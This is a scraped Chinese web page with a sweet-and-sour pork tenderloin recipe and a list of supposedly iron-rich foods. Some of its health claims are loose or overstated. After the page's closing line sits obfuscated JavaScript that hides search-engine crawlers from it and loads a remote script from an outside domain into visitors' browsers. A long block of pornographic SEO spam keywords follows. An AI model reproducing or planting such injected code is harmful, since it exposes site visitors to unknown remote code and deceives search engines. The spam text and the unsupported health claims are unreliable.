當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

補(bǔ)鐵補(bǔ)血的食物有哪些?糖醋里脊怎么做?

2015-08-23 16:00:56  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:里脊肉營養(yǎng)豐富,含有鐵元素,能改善缺鐵性貧血,今天用它做道家常菜糖醋里脊,色澤鮮亮,酸甜味美,肉質(zhì)細(xì)嫩,外酥里嫩的一道美食,非常受家人的喜愛。

龍眼肉就是桂圓肉,因?yàn)樗F質(zhì)豐富而且還含有維生素A、B、葡萄糖、蔗糖等,能治療健忘、心悸、神經(jīng)衰弱等癥,孕婦和產(chǎn)婦吃龍眼湯、龍眼膠、龍眼酒之類是很好的補(bǔ)血食物。

補(bǔ)鐵補(bǔ)血的食物有哪些?糖醋里脊怎么做?

糖醋里脊怎么做?

糖醋里脊的制作方法:

主料:

豬里脊300克

輔料:

鹽1/2茶匙、胡椒粉1/4茶匙、料酒適量、面粉3湯匙、生粉1湯匙、番茄沙司2湯匙、

醋3湯匙、白糖3湯匙、蒜末適量、芝麻適量、油適量、蔥末少許、姜末少許

做法:

1、將醋、糖、料酒、鹽,少許水和淀粉混合成調(diào)味汁兒備用

2、將里脊切成粗條狀,放入碗中

3、加入鹽,胡椒粉,料酒抓勻后腌制20分鐘。

4、將面粉和生粉混合,倒入適量水調(diào)成粉漿(能薄薄掛住肉條,不會(huì)很厚

6、鍋中加入油,燒至六成熱,轉(zhuǎn)中小火,逐個(gè)將肉條放入,炸約一分鐘撈出瀝油

7、將鍋里的油繼續(xù)加熱,油溫八九成熱時(shí),倒入肉條復(fù)炸片刻至金黃色酥脆后,撈出瀝油

8、鍋中留少許底油加熱,爆香蔥蒜末

9、加入番茄沙司炒香

10、加入調(diào)好的糖醋汁煮至濃稠

11、下入炸好的里脊條快速翻炒

12、迅速倒入白芝麻翻勻,出鍋裝盤

360常識(shí)網(wǎng)小提示:

1、此菜屬焦熘菜肴,主料上糊可用全蛋糊,也可用水粉糊,視主料,地區(qū)不同而定,但要保持外焦里嫩!

2、想要做到外焦里嫩,一定要六成油溫先炸定型,待油溫升高后再進(jìn)行復(fù)炸。

3、糖醋汁要先調(diào)好,入鍋前要再調(diào)勻,動(dòng)作要快。

其它補(bǔ)血補(bǔ)鐵的食物有哪些?

金針菜

金針菜含鐵量最大,比大家熟悉的菠菜高了20倍,還含有維生素A、B1、C,蛋白質(zhì)等營養(yǎng)素并有利尿及健胃作用。

龍眼肉

龍眼肉就是桂圓肉,因?yàn)樗F質(zhì)豐富而且還含有維生素A、B、葡萄糖、蔗糖等,能治療健忘、心悸、神經(jīng)衰弱等癥,孕婦和產(chǎn)婦吃龍眼湯、龍眼膠、龍眼酒之類是很好的補(bǔ)血食物。

咸蘿卜

干蘿卜干維生素B、鐵質(zhì)含量很高,是高級(jí)養(yǎng)生食物,既咸且爽,吃起來別有一種風(fēng)味。

黑豆

我國向來認(rèn)為吃豆有益,尤其是黑豆可以生血、烏發(fā)。黑豆的吃法隨各人之便,孕婦可用烏豆煮烏雞。

胡蘿卜

胡蘿卜即紅蘿卜,日本人稱作人參,含有維生素B、C,且含有一種特別的營養(yǎng)素——胡蘿卜素。胡蘿卜素對補(bǔ)血極有益,所以用胡蘿卜煮湯,是很好的補(bǔ)血湯飲。

菠菜

菠菜是有名的補(bǔ)血食物,含鐵質(zhì)的胡蘿卜素相當(dāng)豐富,可以算是補(bǔ)血蔬菜中的重要食物。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品麻豆国产色欲色欲色欲www| 精品亚洲成在人线AV无码| mm1313亚洲精品国产| 亚洲av无码成人精品国产| 久久精品国产2020| 999任你躁在线精品免费不卡| 久久久久四虎国产精品| 99re热视频这里只精品| 国产精品成人精品久久久| 国产精品萌白酱在线观看| 国产精品亚洲专区无码WEB| 国产午夜亚洲精品| 中文字幕色婷婷在线精品中| 中文精品久久久久国产网址| 91麻豆精品激情在线观看最新| 99re国产精品| 竹菊影视国产精品| 日本亚洲精品色婷婷在线影院| 精品国产福利一区二区| 色花堂国产精品第一页| 99久久99久久久精品齐齐| 精品国产VA久久久久久久冰| 国产精品九九九久久九九| 日本精品www色| 亚洲性色精品一区二区在线| 亚洲国产精品自在自线观看| 免费精品人在线二线三线区别| 国产精品久久久久久亚洲影视| 国产精品国产亚洲区艳妇糸列短篇| 精品一线二线三线区别在哪欧美| 国产精品国产AV片国产| 青娱乐精品视频在线观看| 无码人妻一区二区三区精品视频| 好湿好大硬得深一点动态图91精品福利一区二区 | 国语自产精品视频在线第| 精品人妻潮喷久久久又裸又黄| 天天综合亚洲色在线精品| 日韩精品成人a在线观看| 国产精品玖玖美女张开腿让男人桶爽免费看 | 国产精品videossex另类| 亚洲精品视频在线观看你懂的|